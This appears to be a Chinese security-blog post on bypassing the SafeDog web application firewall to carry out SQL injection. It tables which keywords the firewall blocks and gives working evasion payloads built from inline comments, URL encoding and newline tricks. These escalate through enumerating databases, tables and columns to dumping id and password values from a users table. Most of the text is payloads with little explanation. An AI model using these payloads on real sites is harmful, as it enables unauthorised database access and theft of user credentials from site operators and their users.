zkpyr02023-07-21文章来源:SecHub网络安全社区
payload | 结果 |
---|---|
and | 未拦截 |
1=1 | 未拦截 |
and 1=1 | 拦截 |
如图:
说明只有and和1=1在一起时安全狗才会拦截,那就需要干扰安全狗将and和1=1使用一系列注释和特殊字符分开
/*!and/*/**//*!/*!1=1*/
安全狗拦截了and,or,&&,||
但是使用url编码即可绕过and=>&&=>%26%26,or=>||=>%7c%7c
%26%26 1,%26%260,%7c%7c 1, %7c%7c 0
均拦截
1可以替换位True,0可以替换位False,绕过
Xor True 和 Xor False也可以绕过
例子:
/*!and/*/**//*!/*!1=1*/
payload | 结果 |
---|---|
order | 未拦截 |
by | 未拦截 |
order by | 拦截 |
如图:
内联注释 /*!*/
不加叹号就是注释,加上叹号会执行后面的语句
空格可以用加号代替
order /*/ -- /*/ by 3
会被拦截
加版本号也会被拦截
order /*!50726by*/ 3%23 order /*!50726by*/ 3 --+
也会被拦截
/*/!**/
当作空格可以绕过
用/*/!**/当作空格可以绕过
oreder by中间加上 /*/ /*/%20 /*/ /*/
例子:
order /*/ /*/%20 /*/ /*/ by 3
order/*/!**/by/*/!**/3
payload | 结果 |
---|---|
union | 未拦截 |
select | 未拦截 |
union select | 拦截 |
如图:
union /*//--/*/ select 1,2,3 --+
union /*//*//*//*/ select 1,2,3 --+
?id=1'%20 union/*/!*!**/select 1,2,3 --+
?id=1'%20 union/*!--+/*%0Aselect 1,2,3*/ --+
可以利用–+%0a这种格式通过换行继续执行
?id=1'%20 union/*!--+/*%0Aselect 1,2,3*/ --+
?id=1'%20 union/*/!*!**/select 1,2,3 --+
union /*//*//*//*/ select 1,2,3 --+
union /*//--/*/ select 1,2,3 --+
被拦截
1' union/*/!*!**/select 1,database/*/!//*/(),3 --+
database()version()和user()绕过可以
在()前面加上 /*/!//*/
?id=1' union/*/!*!**/select 1,group_concat(table_name),3 --+
只需绕过 union select即可
?id=-1' union /*!--+/*%0aselect/*!1,2,*/ group_concat(schema_name) /*!from*/
/*!--+/*%0ainformation_schema./*!schemata*/ --+
这个就是需要多绕过from和 information_schema.schemata
使用内联和回车绕过
?id=-1' union/*/!*!**/select%201,2,group_concat(table_name)from/*!-- /*%0ainformation_schema.tables*/ where table_schema='security'--+
绕过方式与拿全部库相同
?id=-1' union/*/!*!**/select%201,2,group_concat(column_name)from/*!--+/*%0ainformation_schema.columns*/ where table_name='users'--+
?id=-1' union/*/!*!**/select%201,2,group_concat(id,password)from/*!--+/*%0ausers*/--+
绕过 union select 和 from 以及users